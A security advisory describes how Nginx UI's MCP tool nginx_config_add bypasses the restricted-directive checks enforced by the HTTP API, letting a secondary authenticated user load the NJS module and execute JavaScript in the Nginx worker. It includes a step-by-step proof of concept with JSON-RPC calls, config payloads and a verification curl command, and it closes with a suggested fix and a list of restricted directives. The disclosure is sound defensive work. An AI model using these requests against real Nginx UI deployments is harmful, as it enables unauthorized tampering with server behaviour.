Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context

Summary

The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.

However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.

This is authenticated and is not OS command execution by itself.

Affected component

• /mcp
• /mcp_message
• MCP tool: nginx_config_add
• Nginx configuration validation

Impact

A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.

This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.

Minimal PoC

Preconditions

• Attacker has a secondary authenticated Nginx UI account.
• MCP is enabled.
• Nginx has NJS available:

find / -name "ngx_http_js_module.so" 2>/dev/null

Observed in the lab:

/usr/lib/nginx/modules/ngx_http_js_module.so

1. HTTP API blocks the restricted config

Request:

POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/json

Body:

{
 "name": "nginx.conf",
 "base_dir": "",
 "overwrite": true,
 "sync_node_ids": [],
 "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}

Observed result:

Rejected because the content contains restricted directives such as load_module/js_import/js_content.

2. MCP writes the JavaScript file

Open an MCP session and call tools/call with:

{
 "jsonrpc": "2.0",
 "id": 1,
 "method": "tools/call",
 "params": {
 "name": "nginx_config_add",
 "arguments": {
 "name": "poc.js",
 "base_dir": "",
 "overwrite": true,
 "sync_node_ids": [],
 "content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
 }
 }
}

3. MCP writes the NJS-enabled nginx.conf

Call tools/call again:

{
 "jsonrpc": "2.0",
 "id": 2,
 "method": "tools/call",
 "params": {
 "name": "nginx_config_add",
 "arguments": {
 "name": "nginx.conf",
 "base_dir": "",
 "overwrite": true,
 "sync_node_ids": [],
 "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
 }
 }
}

4. Verify NJS execution

Inside the Nginx UI container:

curl -i http://127.0.0.1:18249/__poc

Observed response:

HTTP/1.1 200 OK

MCP_NJS_MARKER

This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.

Expected behavior

MCP configuration tools should enforce the same restricted directive validation as the HTTP API.

Suggested fix

Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:

• load_module
• js_import
• js_content
• js_set
• perl_set
• user root